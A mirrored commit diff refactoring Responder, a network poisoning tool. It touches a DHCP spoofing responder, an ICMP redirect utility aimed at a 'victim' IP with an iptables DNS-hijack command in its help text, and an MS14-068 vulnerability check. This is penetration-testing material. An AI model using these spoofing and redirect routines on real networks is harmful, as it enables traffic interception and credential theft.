mirror of
https://github.com/lgandx/Responder.git
synced 2025-07-07 05:21:22 -07:00
Refactors utils.py and tools/*
This commit is contained in:
parent
8e9205b102
commit
2fb6a1c228
15 changed files with 123 additions and 273 deletions
|
@ -14,15 +14,11 @@
|
||||||
#
|
#
|
||||||
# You should have received a copy of the GNU General Public License
|
# You should have received a copy of the GNU General Public License
|
||||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||||
import re
|
|
||||||
import sys
|
|
||||||
import socket
|
import socket
|
||||||
import struct
|
import struct
|
||||||
import string
|
|
||||||
import logging
|
|
||||||
|
|
||||||
from utils import color
|
from utils import color
|
||||||
from odict import OrderedDict
|
|
||||||
from packets import SMBHeader, SMBNego, SMBNegoFingerData, SMBSessionFingerData
|
from packets import SMBHeader, SMBNego, SMBNegoFingerData, SMBSessionFingerData
|
||||||
|
|
||||||
def OsNameClientVersion(data):
|
def OsNameClientVersion(data):
|
||||||
|
@ -31,7 +27,6 @@ def OsNameClientVersion(data):
|
||||||
pack = tuple(data[47+length:].split('\x00\x00\x00'))[:2]
|
pack = tuple(data[47+length:].split('\x00\x00\x00'))[:2]
|
||||||
OsVersion, ClientVersion = tuple([e.replace('\x00','') for e in data[47+length:].split('\x00\x00\x00')[:2]])
|
OsVersion, ClientVersion = tuple([e.replace('\x00','') for e in data[47+length:].split('\x00\x00\x00')[:2]])
|
||||||
return OsVersion, ClientVersion
|
return OsVersion, ClientVersion
|
||||||
|
|
||||||
except:
|
except:
|
||||||
return "Could not fingerprint Os version.", "Could not fingerprint LanManager Client version"
|
return "Could not fingerprint Os version.", "Could not fingerprint LanManager Client version"
|
||||||
|
|
||||||
|
|
|
@ -17,6 +17,7 @@
|
||||||
from packets import SMBHeader, SMBNegoData, SMBSessionData, SMBTreeConnectData, RAPNetServerEnum3Data, SMBTransRAPData
|
from packets import SMBHeader, SMBNegoData, SMBSessionData, SMBTreeConnectData, RAPNetServerEnum3Data, SMBTransRAPData
|
||||||
from SocketServer import BaseRequestHandler
|
from SocketServer import BaseRequestHandler
|
||||||
from utils import *
|
from utils import *
|
||||||
|
import struct
|
||||||
|
|
||||||
|
|
||||||
def WorkstationFingerPrint(data):
|
def WorkstationFingerPrint(data):
|
||||||
|
|
|
@ -17,6 +17,7 @@
|
||||||
|
|
||||||
from SocketServer import BaseRequestHandler, StreamRequestHandler
|
from SocketServer import BaseRequestHandler, StreamRequestHandler
|
||||||
from base64 import b64decode
|
from base64 import b64decode
|
||||||
|
import struct
|
||||||
from utils import *
|
from utils import *
|
||||||
|
|
||||||
from packets import NTLM_Challenge
|
from packets import NTLM_Challenge
|
||||||
|
|
|
@ -16,6 +16,7 @@
|
||||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||||
from SocketServer import BaseRequestHandler
|
from SocketServer import BaseRequestHandler
|
||||||
from utils import *
|
from utils import *
|
||||||
|
import struct
|
||||||
|
|
||||||
def ParseMSKerbv5TCP(Data):
|
def ParseMSKerbv5TCP(Data):
|
||||||
MsgType = Data[21:22]
|
MsgType = Data[21:22]
|
||||||
|
|
|
@ -17,6 +17,7 @@
|
||||||
from SocketServer import BaseRequestHandler
|
from SocketServer import BaseRequestHandler
|
||||||
from packets import LDAPSearchDefaultPacket, LDAPSearchSupportedCapabilitiesPacket, LDAPSearchSupportedMechanismsPacket, LDAPNTLMChallenge
|
from packets import LDAPSearchDefaultPacket, LDAPSearchSupportedCapabilitiesPacket, LDAPSearchSupportedMechanismsPacket, LDAPNTLMChallenge
|
||||||
from utils import *
|
from utils import *
|
||||||
|
import struct
|
||||||
|
|
||||||
def ParseSearch(data):
|
def ParseSearch(data):
|
||||||
if re.search(r'(objectClass)', data):
|
if re.search(r'(objectClass)', data):
|
||||||
|
|
|
@ -17,6 +17,7 @@
|
||||||
from SocketServer import BaseRequestHandler
|
from SocketServer import BaseRequestHandler
|
||||||
from packets import MSSQLPreLoginAnswer, MSSQLNTLMChallengeAnswer
|
from packets import MSSQLPreLoginAnswer, MSSQLNTLMChallengeAnswer
|
||||||
from utils import *
|
from utils import *
|
||||||
|
import struct
|
||||||
|
|
||||||
class TDS_Login_Packet:
|
class TDS_Login_Packet:
|
||||||
def __init__(self, data):
|
def __init__(self, data):
|
||||||
|
|
|
@ -18,6 +18,7 @@ from random import randrange
|
||||||
from packets import SMBHeader, SMBNegoAnsLM, SMBNegoKerbAns, SMBSession1Data, SMBSession2Accept, SMBSessEmpty, SMBTreeData
|
from packets import SMBHeader, SMBNegoAnsLM, SMBNegoKerbAns, SMBSession1Data, SMBSession2Accept, SMBSessEmpty, SMBTreeData
|
||||||
from SocketServer import BaseRequestHandler
|
from SocketServer import BaseRequestHandler
|
||||||
from utils import *
|
from utils import *
|
||||||
|
import struct
|
||||||
|
|
||||||
|
|
||||||
def Is_Anonymous(data): # Detect if SMB auth was Anonymous
|
def Is_Anonymous(data): # Detect if SMB auth was Anonymous
|
||||||
|
|
|
@ -36,7 +36,7 @@ class Settings:
|
||||||
return ret
|
return ret
|
||||||
|
|
||||||
def toBool(self, str):
|
def toBool(self, str):
|
||||||
return True if str.upper() == 'ON' else False
|
return str.upper() == 'ON'
|
||||||
|
|
||||||
def ExpandIPRanges(self):
|
def ExpandIPRanges(self):
|
||||||
def expand_ranges(lst):
|
def expand_ranges(lst):
|
||||||
|
|
|
@ -14,11 +14,9 @@
|
||||||
#
|
#
|
||||||
# You should have received a copy of the GNU General Public License
|
# You should have received a copy of the GNU General Public License
|
||||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||||
import sys, os
|
import sys
|
||||||
import socket
|
import os
|
||||||
import thread
|
import thread
|
||||||
import struct
|
|
||||||
import time
|
|
||||||
|
|
||||||
BASEDIR = os.path.realpath(os.path.join(os.path.dirname(__file__), '..'))
|
BASEDIR = os.path.realpath(os.path.join(os.path.dirname(__file__), '..'))
|
||||||
sys.path.insert(0, BASEDIR)
|
sys.path.insert(0, BASEDIR)
|
||||||
|
@ -29,7 +27,6 @@ from threading import Lock
|
||||||
from utils import *
|
from utils import *
|
||||||
|
|
||||||
def ParseRoles(data):
|
def ParseRoles(data):
|
||||||
|
|
||||||
if len(data) != 4:
|
if len(data) != 4:
|
||||||
return ''
|
return ''
|
||||||
|
|
||||||
|
@ -62,81 +59,44 @@ def ParseRoles(data):
|
||||||
'Domain Enum': (ord(data[3]) >> 7) & 1,
|
'Domain Enum': (ord(data[3]) >> 7) & 1,
|
||||||
}
|
}
|
||||||
|
|
||||||
#print 'Workstation : ', AllRoles['Workstation']
|
return ', '.join(k for k,v in AllRoles.items() if v == 1)
|
||||||
#print 'Server : ', AllRoles['Server']
|
|
||||||
#print 'SQL : ', AllRoles['SQL']
|
|
||||||
#print 'Domain Controller : ', AllRoles['Domain Controller']
|
|
||||||
#print 'Backup Controller : ', AllRoles['Backup Controller']
|
|
||||||
#print 'Time Source : ', AllRoles['Time Source']
|
|
||||||
#print 'Apple : ', AllRoles['Apple']
|
|
||||||
#print 'Novell : ', AllRoles['Novell']
|
|
||||||
#print 'Member : ', AllRoles['Member']
|
|
||||||
#print 'Print : ', AllRoles['Print']
|
|
||||||
#print 'Dialin : ', AllRoles['Dialin']
|
|
||||||
#print 'Xenix : ', AllRoles['Xenix']
|
|
||||||
#print 'NT Workstation : ', AllRoles['NT Workstation']
|
|
||||||
#print 'WfW : ', AllRoles['WfW']
|
|
||||||
#print 'Unused : ', AllRoles['Unused']
|
|
||||||
#print 'NT Server : ', AllRoles['NT Server']
|
|
||||||
#print 'Potential Browser : ', AllRoles['Potential Browser']
|
|
||||||
#print 'Backup Browser : ', AllRoles['Backup Browser']
|
|
||||||
#print 'Master Browser : ', AllRoles['Master Browser']
|
|
||||||
#print 'Domain Master Browser : ', AllRoles['Domain Master Browser']
|
|
||||||
#print 'OSF : ', AllRoles['OSF']
|
|
||||||
#print 'VMS : ', AllRoles['VMS']
|
|
||||||
#print 'Windows 95+ : ', AllRoles['Windows 95+']
|
|
||||||
#print 'DFS : ', AllRoles['DFS']
|
|
||||||
#print 'Local : ', AllRoles['Local']
|
|
||||||
#print 'Domain Enum : ', AllRoles['Domain Enum']
|
|
||||||
|
|
||||||
Roles = []
|
|
||||||
for k,v in AllRoles.iteritems():
|
|
||||||
if v == 1:
|
|
||||||
Roles.append(k)
|
|
||||||
|
|
||||||
return ', '.join(Roles)
|
|
||||||
|
|
||||||
class BrowserListener(BaseRequestHandler):
|
class BrowserListener(BaseRequestHandler):
|
||||||
|
|
||||||
def handle(self):
|
def handle(self):
|
||||||
#try:
|
data, socket = self.request
|
||||||
data, socket = self.request
|
|
||||||
|
|
||||||
lock = Lock()
|
lock = Lock()
|
||||||
lock.acquire()
|
lock.acquire()
|
||||||
|
|
||||||
DataOffset = struct.unpack('<H',data[139:141])[0]
|
DataOffset = struct.unpack('<H',data[139:141])[0]
|
||||||
BrowserPacket = data[82+DataOffset:]
|
BrowserPacket = data[82+DataOffset:]
|
||||||
ReqType = RequestType(BrowserPacket[0])
|
ReqType = RequestType(BrowserPacket[0])
|
||||||
|
|
||||||
Domain = Decode_Name(data[49:81])
|
Domain = Decode_Name(data[49:81])
|
||||||
Name = Decode_Name(data[15:47])
|
Name = Decode_Name(data[15:47])
|
||||||
Role1 = NBT_NS_Role(data[45:48])
|
Role1 = NBT_NS_Role(data[45:48])
|
||||||
Role2 = NBT_NS_Role(data[79:82])
|
Role2 = NBT_NS_Role(data[79:82])
|
||||||
Fprint = WorkstationFingerPrint(data[190:192])
|
Fprint = WorkstationFingerPrint(data[190:192])
|
||||||
Roles = ParseRoles(data[192:196])
|
Roles = ParseRoles(data[192:196])
|
||||||
|
|
||||||
print text("[BROWSER] Request Type : %s" % ReqType)
|
print text("[BROWSER] Request Type : %s" % ReqType)
|
||||||
print text("[BROWSER] Address : %s" % self.client_address[0])
|
print text("[BROWSER] Address : %s" % self.client_address[0])
|
||||||
print text("[BROWSER] Domain : %s" % Domain)
|
print text("[BROWSER] Domain : %s" % Domain)
|
||||||
print text("[BROWSER] Name : %s" % Name)
|
print text("[BROWSER] Name : %s" % Name)
|
||||||
print text("[BROWSER] Main Role : %s" % Role1)
|
print text("[BROWSER] Main Role : %s" % Role1)
|
||||||
print text("[BROWSER] 2nd Role : %s" % Role2)
|
print text("[BROWSER] 2nd Role : %s" % Role2)
|
||||||
print text("[BROWSER] Fingerprint : %s" % Fprint)
|
print text("[BROWSER] Fingerprint : %s" % Fprint)
|
||||||
print text("[BROWSER] Role List : %s" % Roles)
|
print text("[BROWSER] Role List : %s" % Roles)
|
||||||
|
|
||||||
RAPThisDomain(self.client_address[0], Domain)
|
RAPThisDomain(self.client_address[0], Domain)
|
||||||
|
|
||||||
lock.release()
|
lock.release()
|
||||||
|
|
||||||
#except Exception:
|
|
||||||
# pass
|
|
||||||
|
|
||||||
|
|
||||||
class ThreadingUDPServer(ThreadingMixIn, UDPServer):
|
class ThreadingUDPServer(ThreadingMixIn, UDPServer):
|
||||||
def server_bind(self):
|
def server_bind(self):
|
||||||
self.allow_reuse_address = 1
|
self.allow_reuse_address = 1
|
||||||
#self.socket.setsockopt(socket.SOL_SOCKET, 25, 'eth0\0')
|
|
||||||
UDPServer.server_bind(self)
|
UDPServer.server_bind(self)
|
||||||
|
|
||||||
def serve_thread_udp_broadcast(host, port, handler):
|
def serve_thread_udp_broadcast(host, port, handler):
|
||||||
|
|
|
@ -16,8 +16,6 @@
|
||||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||||
import sys
|
import sys
|
||||||
import struct
|
import struct
|
||||||
import socket
|
|
||||||
import re
|
|
||||||
import optparse
|
import optparse
|
||||||
import ConfigParser
|
import ConfigParser
|
||||||
import os
|
import os
|
||||||
|
@ -46,16 +44,13 @@ def color(txt, code = 1, modifier = 0):
|
||||||
if options.Interface is None:
|
if options.Interface is None:
|
||||||
print color("[!]", 1, 1), "-I mandatory option is missing, please provide an interface."
|
print color("[!]", 1, 1), "-I mandatory option is missing, please provide an interface."
|
||||||
exit(-1)
|
exit(-1)
|
||||||
|
elif options.RouterIP is None:
|
||||||
if options.RouterIP is None:
|
|
||||||
print color("[!]", 1, 1), "-r mandatory option is missing, please provide the router's IP."
|
print color("[!]", 1, 1), "-r mandatory option is missing, please provide the router's IP."
|
||||||
exit(-1)
|
exit(-1)
|
||||||
|
elif options.DNSIP is None:
|
||||||
if options.DNSIP is None:
|
|
||||||
print color("[!]", 1, 1), "-p mandatory option is missing, please provide the primary DNS server ip address or yours."
|
print color("[!]", 1, 1), "-p mandatory option is missing, please provide the primary DNS server ip address or yours."
|
||||||
exit(-1)
|
exit(-1)
|
||||||
|
elif options.DNSIP2 is None:
|
||||||
if options.DNSIP2 is None:
|
|
||||||
print color("[!]", 1, 1), "-s mandatory option is missing, please provide the secondary DNS server ip address or yours."
|
print color("[!]", 1, 1), "-s mandatory option is missing, please provide the secondary DNS server ip address or yours."
|
||||||
exit(-1)
|
exit(-1)
|
||||||
|
|
||||||
|
@ -230,22 +225,15 @@ def SpoofIP(Spoof):
|
||||||
return ROUTERIP if Spoof else Responder_IP
|
return ROUTERIP if Spoof else Responder_IP
|
||||||
|
|
||||||
def RespondToThisIP(ClientIp):
|
def RespondToThisIP(ClientIp):
|
||||||
|
|
||||||
if ClientIp.startswith('127.0.0.'):
|
if ClientIp.startswith('127.0.0.'):
|
||||||
return False
|
return False
|
||||||
|
elif RespondTo and ClientIp not in RespondTo:
|
||||||
if len(RespondTo) and ClientIp not in RespondTo:
|
|
||||||
return False
|
return False
|
||||||
|
elif ClientIp in RespondTo or RespondTo == []:
|
||||||
if ClientIp in RespondTo or RespondTo == []:
|
|
||||||
if ClientIp not in DontRespondTo:
|
if ClientIp not in DontRespondTo:
|
||||||
return True
|
return True
|
||||||
|
|
||||||
return False
|
return False
|
||||||
|
|
||||||
def IsUDP(data):
|
|
||||||
return True if data[0][23:24] == "\x11" else False
|
|
||||||
|
|
||||||
def ParseSrcDSTAddr(data):
|
def ParseSrcDSTAddr(data):
|
||||||
SrcIP = socket.inet_ntoa(data[0][26:30])
|
SrcIP = socket.inet_ntoa(data[0][26:30])
|
||||||
DstIP = socket.inet_ntoa(data[0][30:34])
|
DstIP = socket.inet_ntoa(data[0][30:34])
|
||||||
|
@ -254,7 +242,7 @@ def ParseSrcDSTAddr(data):
|
||||||
return SrcIP, SrcPort, DstIP, DstPort
|
return SrcIP, SrcPort, DstIP, DstPort
|
||||||
|
|
||||||
def FindIP(data):
|
def FindIP(data):
|
||||||
IP = ''.join(re.findall('(?<=\x32\x04)[^EOF]*', data))
|
IP = ''.join(re.findall(r'(?<=\x32\x04)[^EOF]*', data))
|
||||||
return ''.join(IP[0:4])
|
return ''.join(IP[0:4])
|
||||||
|
|
||||||
def ParseDHCPCode(data):
|
def ParseDHCPCode(data):
|
||||||
|
@ -270,21 +258,17 @@ def ParseDHCPCode(data):
|
||||||
# DHCP Inform
|
# DHCP Inform
|
||||||
if OpCode == "\x08":
|
if OpCode == "\x08":
|
||||||
IP_Header = IPHead(SrcIP = socket.inet_aton(SpoofIP(Spoof)), DstIP=socket.inet_aton(CurrentIP))
|
IP_Header = IPHead(SrcIP = socket.inet_aton(SpoofIP(Spoof)), DstIP=socket.inet_aton(CurrentIP))
|
||||||
Packet = DHCPInformACK(Tid=PTid, ClientMac=MacAddr, ActualClientIP=socket.inet_aton(CurrentIP), \
|
Packet = DHCPInformACK(Tid=PTid, ClientMac=MacAddr, ActualClientIP=socket.inet_aton(CurrentIP),
|
||||||
GiveClientIP=socket.inet_aton("0.0.0.0"), \
|
GiveClientIP=socket.inet_aton("0.0.0.0"),
|
||||||
NextServerIP=socket.inet_aton("0.0.0.0"), \
|
NextServerIP=socket.inet_aton("0.0.0.0"),
|
||||||
RelayAgentIP=socket.inet_aton("0.0.0.0"), \
|
RelayAgentIP=socket.inet_aton("0.0.0.0"),
|
||||||
ElapsedSec=Seconds)
|
ElapsedSec=Seconds)
|
||||||
|
|
||||||
Packet.calculate()
|
Packet.calculate()
|
||||||
Buffer = UDP(Data = Packet)
|
Buffer = UDP(Data = Packet)
|
||||||
Buffer.calculate()
|
Buffer.calculate()
|
||||||
SendDHCP(str(IP_Header)+str(Buffer), (CurrentIP, 68))
|
SendDHCP(str(IP_Header)+str(Buffer), (CurrentIP, 68))
|
||||||
|
|
||||||
return 'Acknowledged DHCP Inform for IP: %s, Req IP: %s, MAC: %s Tid: %s' % (CurrentIP, RequestedIP, MacAddrStr, '0x'+PTid.encode('hex'))
|
return 'Acknowledged DHCP Inform for IP: %s, Req IP: %s, MAC: %s Tid: %s' % (CurrentIP, RequestedIP, MacAddrStr, '0x'+PTid.encode('hex'))
|
||||||
|
elif OpCode == "\x03" and Respond_To_Requests: # DHCP Request
|
||||||
# DHCP Request
|
|
||||||
if OpCode == "\x03" and Respond_To_Requests:
|
|
||||||
IP = FindIP(data)
|
IP = FindIP(data)
|
||||||
if IP:
|
if IP:
|
||||||
IPConv = socket.inet_ntoa(IP)
|
IPConv = socket.inet_ntoa(IP)
|
||||||
|
@ -292,16 +276,11 @@ def ParseDHCPCode(data):
|
||||||
IP_Header = IPHead(SrcIP = socket.inet_aton(SpoofIP(Spoof)), DstIP=IP)
|
IP_Header = IPHead(SrcIP = socket.inet_aton(SpoofIP(Spoof)), DstIP=IP)
|
||||||
Packet = DHCPACK(Tid=PTid, ClientMac=MacAddr, GiveClientIP=IP, ElapsedSec=Seconds)
|
Packet = DHCPACK(Tid=PTid, ClientMac=MacAddr, GiveClientIP=IP, ElapsedSec=Seconds)
|
||||||
Packet.calculate()
|
Packet.calculate()
|
||||||
|
|
||||||
Buffer = UDP(Data = Packet)
|
Buffer = UDP(Data = Packet)
|
||||||
Buffer.calculate()
|
Buffer.calculate()
|
||||||
|
|
||||||
SendDHCP(str(IP_Header)+str(Buffer), (IPConv, 68))
|
SendDHCP(str(IP_Header)+str(Buffer), (IPConv, 68))
|
||||||
|
|
||||||
return 'Acknowledged DHCP Request for IP: %s, Req IP: %s, MAC: %s Tid: %s' % (CurrentIP, RequestedIP, MacAddrStr, '0x'+PTid.encode('hex'))
|
return 'Acknowledged DHCP Request for IP: %s, Req IP: %s, MAC: %s Tid: %s' % (CurrentIP, RequestedIP, MacAddrStr, '0x'+PTid.encode('hex'))
|
||||||
|
elif OpCode == "\x01" and Respond_To_Requests: # DHCP Discover
|
||||||
# DHCP Discover
|
|
||||||
if OpCode == "\x01" and Respond_To_Requests:
|
|
||||||
IP = FindIP(data)
|
IP = FindIP(data)
|
||||||
if IP:
|
if IP:
|
||||||
IPConv = socket.inet_ntoa(IP)
|
IPConv = socket.inet_ntoa(IP)
|
||||||
|
@ -309,12 +288,9 @@ def ParseDHCPCode(data):
|
||||||
IP_Header = IPHead(SrcIP = socket.inet_aton(SpoofIP(Spoof)), DstIP=IP)
|
IP_Header = IPHead(SrcIP = socket.inet_aton(SpoofIP(Spoof)), DstIP=IP)
|
||||||
Packet = DHCPACK(Tid=PTid, ClientMac=MacAddr, GiveClientIP=IP, DHCPOpCode="\x02", ElapsedSec=Seconds)
|
Packet = DHCPACK(Tid=PTid, ClientMac=MacAddr, GiveClientIP=IP, DHCPOpCode="\x02", ElapsedSec=Seconds)
|
||||||
Packet.calculate()
|
Packet.calculate()
|
||||||
|
|
||||||
Buffer = UDP(Data = Packet)
|
Buffer = UDP(Data = Packet)
|
||||||
Buffer.calculate()
|
Buffer.calculate()
|
||||||
|
|
||||||
SendDHCP(str(IP_Header)+str(Buffer), (IPConv, 0))
|
SendDHCP(str(IP_Header)+str(Buffer), (IPConv, 0))
|
||||||
|
|
||||||
return 'Acknowledged DHCP Discover for IP: %s, Req IP: %s, MAC: %s Tid: %s' % (CurrentIP, RequestedIP, MacAddrStr, '0x'+PTid.encode('hex'))
|
return 'Acknowledged DHCP Discover for IP: %s, Req IP: %s, MAC: %s Tid: %s' % (CurrentIP, RequestedIP, MacAddrStr, '0x'+PTid.encode('hex'))
|
||||||
|
|
||||||
def SendDHCP(packet,Host):
|
def SendDHCP(packet,Host):
|
||||||
|
@ -329,7 +305,7 @@ if __name__ == "__main__":
|
||||||
while True:
|
while True:
|
||||||
try:
|
try:
|
||||||
data = s.recvfrom(65535)
|
data = s.recvfrom(65535)
|
||||||
if IsUDP(data):
|
if data[0][23:24] == "\x11": # is udp?
|
||||||
SrcIP, SrcPort, DstIP, DstPort = ParseSrcDSTAddr(data)
|
SrcIP, SrcPort, DstIP, DstPort = ParseSrcDSTAddr(data)
|
||||||
|
|
||||||
if SrcPort == 67 or DstPort == 67:
|
if SrcPort == 67 or DstPort == 67:
|
||||||
|
|
|
@ -21,7 +21,7 @@ import struct
|
||||||
import socket
|
import socket
|
||||||
|
|
||||||
sys.path.insert(0, os.path.realpath(os.path.join(os.path.dirname(__file__), '..')))
|
sys.path.insert(0, os.path.realpath(os.path.join(os.path.dirname(__file__), '..')))
|
||||||
from packets import SMBHeader,SMB2Header, SMB2Nego, SMB2NegoData
|
from packets import SMB2Header, SMB2Nego, SMB2NegoData
|
||||||
|
|
||||||
def GetBootTime(data):
|
def GetBootTime(data):
|
||||||
Filetime = int(struct.unpack('<q',data)[0])
|
Filetime = int(struct.unpack('<q',data)[0])
|
||||||
|
@ -35,12 +35,8 @@ def IsDCVuln(t):
|
||||||
if t[0] < Date:
|
if t[0] < Date:
|
||||||
print "DC is up since:", t[1]
|
print "DC is up since:", t[1]
|
||||||
print "This DC is vulnerable to MS14-068"
|
print "This DC is vulnerable to MS14-068"
|
||||||
else:
|
print "DC is up since:", t[1]
|
||||||
print "DC is up since:", t[1]
|
|
||||||
|
|
||||||
def NbtLen(data):
|
|
||||||
Len = struct.pack(">i", len(data))
|
|
||||||
return Len
|
|
||||||
|
|
||||||
def run(host):
|
def run(host):
|
||||||
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||||
|
@ -52,7 +48,7 @@ def run(host):
|
||||||
Nego.calculate()
|
Nego.calculate()
|
||||||
|
|
||||||
Packet = str(Header)+str(Nego)
|
Packet = str(Header)+str(Nego)
|
||||||
Buffer = NbtLen(Packet)+Packet
|
Buffer = struct.pack(">i", len(Packet)) + Packet
|
||||||
s.send(Buffer)
|
s.send(Buffer)
|
||||||
|
|
||||||
try:
|
try:
|
||||||
|
|
|
@ -15,55 +15,46 @@
|
||||||
#
|
#
|
||||||
# You should have received a copy of the GNU General Public License
|
# You should have received a copy of the GNU General Public License
|
||||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||||
import sys,socket,struct,optparse,random,pipes
|
import socket
|
||||||
|
import struct
|
||||||
|
import optparse
|
||||||
|
import pipes
|
||||||
from socket import *
|
from socket import *
|
||||||
sys.path.append('../')
|
sys.path.append('../')
|
||||||
from odict import OrderedDict
|
from odict import OrderedDict
|
||||||
from random import randrange
|
from random import randrange
|
||||||
from time import sleep
|
from time import sleep
|
||||||
from subprocess import call
|
from subprocess import call
|
||||||
from pipes import quote
|
|
||||||
|
|
||||||
parser = optparse.OptionParser(usage='python %prog -I eth0 -i 10.20.30.40 -g 10.20.30.254 -t 10.20.30.48 -r 10.20.40.1',
|
parser = optparse.OptionParser(usage='python %prog -I eth0 -i 10.20.30.40 -g 10.20.30.254 -t 10.20.30.48 -r 10.20.40.1',
|
||||||
prog=sys.argv[0],
|
prog=sys.argv[0],
|
||||||
)
|
)
|
||||||
parser.add_option('-i','--ip', action="store", help="The ip address to redirect the traffic to. (usually yours)", metavar="10.20.30.40",dest="OURIP")
|
parser.add_option('-i','--ip', action="store", help="The ip address to redirect the traffic to. (usually yours)", metavar="10.20.30.40",dest="OURIP")
|
||||||
|
|
||||||
parser.add_option('-g', '--gateway',action="store", help="The ip address of the original gateway (issue the command 'route -n' to know where is the gateway", metavar="10.20.30.254",dest="OriginalGwAddr")
|
parser.add_option('-g', '--gateway',action="store", help="The ip address of the original gateway (issue the command 'route -n' to know where is the gateway", metavar="10.20.30.254",dest="OriginalGwAddr")
|
||||||
|
|
||||||
parser.add_option('-t', '--target',action="store", help="The ip address of the target", metavar="10.20.30.48",dest="VictimIP")
|
parser.add_option('-t', '--target',action="store", help="The ip address of the target", metavar="10.20.30.48",dest="VictimIP")
|
||||||
|
|
||||||
parser.add_option('-r', '--route',action="store", help="The ip address of the destination target, example: DNS server. Must be on another subnet.", metavar="10.20.40.1",dest="ToThisHost")
|
parser.add_option('-r', '--route',action="store", help="The ip address of the destination target, example: DNS server. Must be on another subnet.", metavar="10.20.40.1",dest="ToThisHost")
|
||||||
|
|
||||||
parser.add_option('-s', '--secondaryroute',action="store", help="The ip address of the destination target, example: Secondary DNS server. Must be on another subnet.", metavar="10.20.40.1",dest="ToThisHost2")
|
parser.add_option('-s', '--secondaryroute',action="store", help="The ip address of the destination target, example: Secondary DNS server. Must be on another subnet.", metavar="10.20.40.1",dest="ToThisHost2")
|
||||||
|
|
||||||
parser.add_option('-I', '--interface',action="store", help="Interface name to use, example: eth0", metavar="eth0",dest="Interface")
|
parser.add_option('-I', '--interface',action="store", help="Interface name to use, example: eth0", metavar="eth0",dest="Interface")
|
||||||
|
|
||||||
parser.add_option('-a', '--alternate',action="store", help="The alternate gateway, set this option if you wish to redirect the victim traffic to another host than yours", metavar="10.20.30.40",dest="AlternateGwAddr")
|
parser.add_option('-a', '--alternate',action="store", help="The alternate gateway, set this option if you wish to redirect the victim traffic to another host than yours", metavar="10.20.30.40",dest="AlternateGwAddr")
|
||||||
|
|
||||||
options, args = parser.parse_args()
|
options, args = parser.parse_args()
|
||||||
|
|
||||||
if options.OURIP is None:
|
if options.OURIP is None:
|
||||||
print "-i mandatory option is missing.\n"
|
print "-i mandatory option is missing.\n"
|
||||||
parser.print_help()
|
parser.print_help()
|
||||||
exit(-1)
|
exit(-1)
|
||||||
|
elif options.OriginalGwAddr is None:
|
||||||
if options.OriginalGwAddr is None:
|
|
||||||
print "-g mandatory option is missing, please provide the original gateway address.\n"
|
print "-g mandatory option is missing, please provide the original gateway address.\n"
|
||||||
parser.print_help()
|
parser.print_help()
|
||||||
exit(-1)
|
exit(-1)
|
||||||
|
elif options.VictimIP is None:
|
||||||
if options.VictimIP is None:
|
|
||||||
print "-t mandatory option is missing, please provide a target.\n"
|
print "-t mandatory option is missing, please provide a target.\n"
|
||||||
parser.print_help()
|
parser.print_help()
|
||||||
exit(-1)
|
exit(-1)
|
||||||
|
elif options.Interface is None:
|
||||||
if options.Interface is None:
|
|
||||||
print "-I mandatory option is missing, please provide your network interface.\n"
|
print "-I mandatory option is missing, please provide your network interface.\n"
|
||||||
parser.print_help()
|
parser.print_help()
|
||||||
exit(-1)
|
exit(-1)
|
||||||
|
elif options.ToThisHost is None:
|
||||||
if options.ToThisHost is None:
|
|
||||||
print "-r mandatory option is missing, please provide a destination target.\n"
|
print "-r mandatory option is missing, please provide a destination target.\n"
|
||||||
parser.print_help()
|
parser.print_help()
|
||||||
exit(-1)
|
exit(-1)
|
||||||
|
@ -81,16 +72,13 @@ ToThisHost2 = options.ToThisHost2
|
||||||
Interface = options.Interface
|
Interface = options.Interface
|
||||||
|
|
||||||
def Show_Help(ExtraHelpData):
|
def Show_Help(ExtraHelpData):
|
||||||
help = "\nICMP Redirect Utility 0.1.\nCreated by Laurent Gaffie, please send bugs/comments to laurent.gaffie@gmail.com\n\nThis utility combined with Responder is useful when you're sitting on a Windows based network.\nMost Linux distributions discard by default ICMP Redirects.\n"
|
print("\nICMP Redirect Utility 0.1.\nCreated by Laurent Gaffie, please send bugs/comments to laurent.gaffie@gmail.com\n\nThis utility combined with Responder is useful when you're sitting on a Windows based network.\nMost Linux distributions discard by default ICMP Redirects.\n")
|
||||||
help+= ExtraHelpData
|
print(ExtraHelpData)
|
||||||
print help
|
|
||||||
|
|
||||||
MoreHelp = "Note that if the target is Windows, the poisoning will only last for 10mn, you can re-poison the target by launching this utility again\nIf you wish to respond to the traffic, for example DNS queries your target issues, launch this command as root:\n\niptables -A OUTPUT -p ICMP -j DROP && iptables -t nat -A PREROUTING -p udp --dst %s --dport 53 -j DNAT --to-destination %s:53\n\n"%(ToThisHost,OURIP)
|
MoreHelp = "Note that if the target is Windows, the poisoning will only last for 10mn, you can re-poison the target by launching this utility again\nIf you wish to respond to the traffic, for example DNS queries your target issues, launch this command as root:\n\niptables -A OUTPUT -p ICMP -j DROP && iptables -t nat -A PREROUTING -p udp --dst %s --dport 53 -j DNAT --to-destination %s:53\n\n"%(ToThisHost,OURIP)
|
||||||
|
|
||||||
class Packet():
|
class Packet():
|
||||||
fields = OrderedDict([
|
fields = OrderedDict([("data", ""),])
|
||||||
("data", ""),
|
|
||||||
])
|
|
||||||
def __init__(self, **kw):
|
def __init__(self, **kw):
|
||||||
self.fields = OrderedDict(self.__class__.fields)
|
self.fields = OrderedDict(self.__class__.fields)
|
||||||
for k,v in kw.items():
|
for k,v in kw.items():
|
||||||
|
@ -98,6 +86,7 @@ class Packet():
|
||||||
self.fields[k] = v(self.fields[k])
|
self.fields[k] = v(self.fields[k])
|
||||||
else:
|
else:
|
||||||
self.fields[k] = v
|
self.fields[k] = v
|
||||||
|
|
||||||
def __str__(self):
|
def __str__(self):
|
||||||
return "".join(map(str, self.fields.values()))
|
return "".join(map(str, self.fields.values()))
|
||||||
|
|
||||||
|
@ -105,7 +94,7 @@ def GenCheckSum(data):
|
||||||
s = 0
|
s = 0
|
||||||
